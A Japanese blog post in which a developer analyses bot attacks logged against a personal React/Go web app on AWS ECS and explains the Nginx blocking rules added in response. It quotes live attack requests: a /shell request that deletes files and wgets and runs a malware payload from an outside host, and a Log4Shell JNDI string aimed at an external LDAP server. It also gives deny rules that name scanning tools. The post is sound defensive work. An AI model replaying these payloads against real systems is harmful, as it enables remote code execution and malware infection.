🙆

AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ

に公開

AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ

こんにちは!
3年目エンジニアのdhulriposです!
今回は、はじめて一人でフロントエンド、バックエンド、インフラ(AWS)で作ってみたWebアプリを公開したところ変なログが来ていたので、それらから得た学びをまとめてみたいと思います。
お目汚しになってしまったら申し訳ございません。
記事内容に不備、ご指摘がございましたら、お手数ですが、コメントにてご教示いただければと思います。

この記事を読んで得られること

  • ECS環境でSPAを安全に公開する際の注意点
  • Nginxのセキュリティ対策例

はじめに

個人開発したWebアプリケーションをAWS ECS+ALB環境で公開した直後から、botと思われる不審なアクセスが観測されました。
本記事では、実際に記録されたログ、アクセスの目的とリスク、私が行った対処について記載します。

構成

  • AWS ECS Fargate(React + Go Echo アプリ)
  • ALB(パスベースルーティング:/api/*→Go API(ターゲットグループ優先度:1番)、それ以外→React(ターゲットグループ優先度:2番))
  • Valkey(キャッシュサーバー)+ RDS(PostgreSQL)
  • Nginxをフロントに配置(React配信+セキュリティ対策)
  • バックエンドはJWTでAPI認証を実装(バックエンドは、特に不正なログはなかった)

観測された不正アクセスとその分析

1. Webシェル呼び出し

GET /shell?cd+/tmp;rm+-rf+*;wget+scamanje.stresserit.pro/jaws;sh+/tmp/jaws
  • 意味:Webサーバーに存在する脆弱な/shellエンドポイントを狙ってマルウェアをダウンロード・実行しようとしていると思われる
  • 意図:DDosやマイニングマルウェアの感染
  • 対策:Nginxで/shellを含む不正なパスを403でブロック

2. Log4j/JNDI攻撃

GET /ecf-contact?cx=${jndi:ldap://35.193.186.77:80/...}
  • 意味:Log4Shell(Log4jの脆弱性)を悪用し、任意のコード実行を狙う攻撃
  • 意図:リモートコード実行
  • 対策:
    • Log4jを使用していないため影響なし
    • “jndi:”や”ldap://”を含むURLをブロック

3. Spring Bootアクチュエーターへのアクセス

GET /api/actuator/mappings
GET /actuator/env
  • 意味:Spring Bootの管理機能(actuator)の存在確認
  • 意図:内部情報や環境変数の漏洩
  • 対策:
    • Nginxで/actuatorを403ブロック
    • そもそもGo/Echoで作成しており、Spring Bootは使用していない

4. Nmapによるポートスキャン

GET /HNAP1
User-Agent: Nmap Scripting Engine
  • 意味:脆弱性スキャンを自動で実行するポートスキャナ
  • 意図:既知の脆弱エンドポイントを網羅的に調査
  • 対策:
    • User-Agentに”nmap”を含むリクエストを403
    • 特定のパス(/HNAP1など)もブロック

5. クローラーによる情報収集

GET /login
User-Agent: GenomeCrawlerd (Nokia)
  • 意味:クローラーによる自動巡回
  • 意図:セキュリティ評価または情報収集
  • 対策:明確な害はないため、特になし

6. 意図不明の不正アクセス

"GET / HTTP/1.1" 403 153 "-" "-"
"PRI * HTTP/2.0" 400 157 "-" "-"
"" 400 0 "-" "-"
  • 意味:形式不正なリクエスト、スキャン時の誤操作、HTTP/2の仕様確認など?
  • 意図:誤検知、スキャナのバグまたはWAF回避?
  • Nginxで形式不正なリクエストログを記録して、必要に応じて制限

アクセスパターンに対応するために行った設定

Nginxのセキュリティ設定(一部抜粋)

nginx.conf
# 攻撃に使われやすいパスをブロック
location ~* \.(php|asp|cgi|pl|py)$ { return 403; }
location ~* ^/(wp-admin|shell|core|vendor|env) { return 403; }

# クエリに "token=" 含むものをブロック
if ($query_string ~* "token=") { return 403; }

# 危険なUser-Agentをブロック
if ($http_user_agent ~* (masscan|nmap|sqlmap|curl|python-requests)) { return 403; }

# ======== 以下、React Routerで使っているパスだけ許可(ホワイトリスト方式) ========
location = /login { try_files /index.html =403; }
location = /welcome { try_files /index.html =403; }

# ======== その他のパスはすべてブロック ========
  location / {
    return 403;
  }

補足:SPA(Single Page Application)が存在しないルーティングを狙われるのか

理由1:SPAは全てのルーティングをクライアント側で処理するため

  • SPAではURLのルーティング(/login,/mypageなど)はサーバーではなく、クライアント(ReactなどのJavaScript)で処理される
  • そのため、サーバー側でどんなパスでも基本的にはindex.htmlを返すように設定されている(クライアントが処理する前提)
  • これはReactで言えば、react-router-domによるルーティング

つまり、「/admin」というパスにアクセスされた場合でも、NginxなどのWebサーバーは/admin.htmlを探すのではなく、index.htmlを返すように設定されている。

なぜ存在しないパスを通してしまうのか?

例えば、Nginxの設定で以下のようにしていた場合:

nginx.conf
location / {
  try_files $uri /index.html;
}

この設定の意味は以下のとおりです:

  1. $uri(リクエストされたファイルパス)が存在するならそれを返す
  2. 存在しないなら、index.htmlを返す

つまり、/adminや/wp-login.phpのようなパスがリクエストされても、

  • そのファイルが存在しない→/index.htmlを返す
  • 結果として、通ってしまう

対策:ホワイトリストで守る理由

try_files /index.htm =403; で、許可されたパス以外は403にすることで、

  • 攻撃者が想定外のパスで探りを入れてきても、「403 Forbidden」で即ブロックできる
  • サーバーに無駄な負荷もかからないし、ログにも残せる(監視しやすくなる)

攻撃の頻度とコスト影響

  • 頻度:アプリ公開直後から継続的にアクセス(1時間に十数件〜百件程度)
  • コスト:ECS Fargateでは、受信したリクエスト量では課金されないが、アプリ側で処理するとCPU/RAM消費が発生し、Fargate料金に影響する
  • 軽減策:不正なアクセスをNginxで早期遮断

今後の対策案

  • AWS WAF導入によるBot・攻撃IPの自動ブロック
  • CloudFront導入によるCDN+Shield利用
  • CloudWatch Logs + Metric Filter + Alarmによる異常アクセスのアラート通知

まとめ

インターネットに公開した瞬間から、アプリケーションはさまざまなスキャンや攻撃の対象になります。
たとえ脆弱性が存在しなくても、ログに目を通し、早めの対策を講じることが重要です。
自分で構築したWebアプリの保護を通して、セキュリティの重要性と仕組みを実体験することができました。

Discussion